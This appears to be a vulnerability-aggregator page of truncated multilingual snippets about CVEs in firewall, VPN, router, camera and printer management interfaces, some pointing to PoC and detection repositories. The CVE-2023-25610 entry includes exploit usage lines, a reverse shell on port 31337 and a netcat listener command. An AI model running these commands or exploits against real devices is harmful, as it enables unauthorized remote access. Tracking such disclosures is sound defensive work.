CVE-2025-0108-PoC

CVE-2025-0108 概念验证 PoC 此仓库包含针对 CVE-2025-0108 漏洞的概念验证 PoC，该漏洞是 Palo Alto Networks PAN-OS 软件中的一个 身份验证绕过 问题。此处提供的脚本通过向目标系统发送特制的 HTTP 请求来检测该漏洞。 CVE-2025-0108 检测模板 🔍 针对 Palo Alto PAN-OS 身份验证绕过 CVE-2025-0108 的 Nuclei 模板 📜 概述 一个针对 Palo Alto PAN-OS 管理接口中身份验证绕过漏洞的检测模板，该漏洞允许通过特制的路径遍历请求进行未授权访问。 CVSS 4.0 : 8...

CVE-2026-86325

A stack-based buffer overflow vulnerability exists in protocol gateways' account management interface. The vulnerability is caused by insufficient length validation of the accountname parameter when processing account management requests. An attacker authenticated as a read-only user to the...

CVE-2026-86325

A stack-based buffer overflow vulnerability exists in protocol gateways' account management interface. The vulnerability is caused by insufficient length validation of the accountname parameter when processing account management requests. An attacker authenticated as a read-only user to the...

CVE-2026-86325

A stack-based buffer overflow vulnerability exists in protocol gateways' account management interface. The vulnerability is caused by insufficient length validation of the accountname parameter when processing account management requests. An attacker authenticated as a read-only user to the...

EUVD-2026-91371

A stack-based buffer overflow vulnerability exists in protocol gateways' account management interface. The vulnerability is caused by insufficient length validation of the accountname parameter when processing account management requests. An attacker authenticated as a read-only user to the...

CVE-2022-40684

CVE-2022-40684 法令遵守： 全ての個人及び組織は、ネットワークを利用する際、憲法及び法律を遵守し、公共の秩序を守り、社会の道徳を尊重し、ネットワークの安全を害してはならず、ネットワークを利用して国家安全、栄誉及び利益を害する行為を行ってはならない。 脆弱性の概要：...

CVE-2020-13259

CVE-2020-13259 RAD SecFlow-1v におけるフルアカウント乗っ取りのPoC RAD SecFlow-1v のウェブベース管理インターフェースの脆弱性により、認証されていないリモートの攻撃者が、影響を受けるシステムに対してクロスサイトリクエストフォージェリ CSRF 攻撃を実行できる可能性があります。 この脆弱性は、影響を受けるデバイスのWeb UIに対するCSRF保護が不十分であることに起因します。...

CVE-2022-1040

CVE-2022-1040 : Sophos XG115w Firewall 17.0.10 MR-10 - 認証バイパス この脆弱性により、攻撃者は認証をバイパスしてファイアウォール管理領域への不正アクセスを獲得できます。 ☕️ ライブ : ....... 更新済み...

cve-2024-0012-gui-poc

CVE-2024-0012 和 CVE-2024-9474 管理 Web 界面中的身份验证绕过 PAN-SA-2024-0015 和 Palo Alto PAN-OS 中经过认证的命令注入。 技术细节请参见博客文章。 漏洞利用作者 原始漏洞利用由 Sonny watchTowr @watchtowrcyber 编写。 代码和 GUI 实现以及额外优化由 Diego Collao 完成。...

Cisco VPN Routers - Unauthenticated Arbitrary File Upload

A vulnerability in the web-based management interface of Cisco RV340, RV340W, RV345, and RV345P Dual WAN Gigabit VPN Routers could allow an unauthenticated, remote attacker to upload arbitrary files to an affected device. This vulnerability is due to insufficient authorization enforcement...

Tattile Camera < 1.181.5 - Default Login

Tattile Smart+, Vega, and Basic device families firmware = 1.181.5 contain a broken authentication caused by default credentials not forced to be changed, letting attackers with management interface access gain administrative privileges. id: CVE-2026-26341 info: name: Tattile Camera 1.181.5 -...

FatPipe WARP/IPVPN/MPVPN - Authorization Bypass

FatPipe WARP, IPVPN, and MPVPN software prior to versions 10.1.2r60p91 and 10.2.2r42 contain a missing authorization caused by lack of access control in the web management interface, letting remote attackers access sensitive URLs, exploit requires no authentication. id: CVE-2021-27858 info: name:...

FOGProject <= 1.5.10.1673 - Authentication Bypass

FOGProject version 1.5.10.1673 suffers from an authentication bypass vulnerability that allows unauthenticated users to access the management interface without proper authentication. This can lead to unauthorized access to system configuration, host management, and potentially database informatio...

CVE-2020-2038

CVE-2020-2038 用于利用 CVE-2020-2038 漏洞的 Exploit。 根据 Palo Alto Networks： PAN-OS 管理界面中的一个操作系统命令注入漏洞，允许经过身份验证的管理员以 root 权限执行任意操作系统命令。 该漏洞影响： 早于 9.0.10 的 PAN-OS 9.0 版本 早于 9.1.4 的 PAN-OS 9.1 版本 早于 10.0.1 的 PAN-OS 10.0 版本 演示 致谢 所有荣誉归于 Positive Technologies 的研究人员 Mikhail Klyuchnikov 和 Nikita...

CVE-2023-25610

CVE-2023-25610 FortiOS管理インターフェースのヒープアンダーフローによるリモートコード実行。 範囲と制限 1. Fortinet 6.x 2. TLSv1.3ベース、他のTLSバージョンでは異なる可能性あり 使用方法 python3 cve-2022-42475.py rhost rport lhost 'command' python3 CVE-2023-25610.py 192.168.10.1 8443 10.10.1.1 'ls -la /' リスナー EXPはPythonコマンドを使用してポート31337にリバースシェルを設定します。 nc -lvnp 31...

CVE-2026-36958

CVE-2026-36958：通过并发 HTTP 请求导致的拒绝服务 CVE ID： CVE-2026-36958 日期： 2026-04-29 发现者： Kirubel Solomne 厂商： U-SPEED 产品： U-SPEED 路由器 固件版本： V1.0.0 CWE： CWE-400 - 未受控制的资源消耗 描述 U-SPEED 路由器固件 V1.0.0 存在拒绝服务漏洞。攻击者通过向 Web 管理界面发送大量并发 HTTP 请求到随机或不存在的端点，可耗尽嵌入式 Boa HTTP 服务器中的系统资源。这会导致路由器 Web 界面无响应，可能需要手动重启才能恢复正常运行。 CV...

cve-2026-24858

CVE-2026-24858 PoC 辅助工具 CVE-2026-24858 - 管理端 FortiCloud SSO 认证绕过 此仓库包含一个保守的 Python 辅助工具，用于 扫描 Fortinet Web 管理指标，并可选（显式）发送载荷。漏洞利用/载荷发送功能默认禁用，需要显式标志才能运行。 使用示例： 安装依赖： python3 -m pip install -r requirements.txt 扫描目标（默认 HTTPS 端口 443）： python3 cve202624858tool.py scan --target 192.168.2.3 扫描目标（默认 HTTPS...

CVE-2026-78249

A path traversal vulnerability exists in the web management interface of multiple Multifunction Devices and Printers, including Apeos C4571 1.1.3 and earlier, Apeos C3567 1.1.3, or other products listed, specifically in the handling of externally supplied parameters. If the device receives a...

CVE-2026-78249

A path traversal vulnerability exists in the web management interface of multiple Multifunction Devices and Printers , including Apeos C4571 (version 1.1.3 and earlier) and Apeos C3567 (version 1.1.3). The root cause is the insecure handling of externally supplied parameters , which may allow a s...

CVE-2026-78249

A path traversal vulnerability exists in the web management interface of multiple Multifunction Devices and Printers, including Apeos C4571 1.1.3 and earlier, Apeos C3567 1.1.3, or other products listed, specifically in the handling of externally supplied parameters. If the device receives a...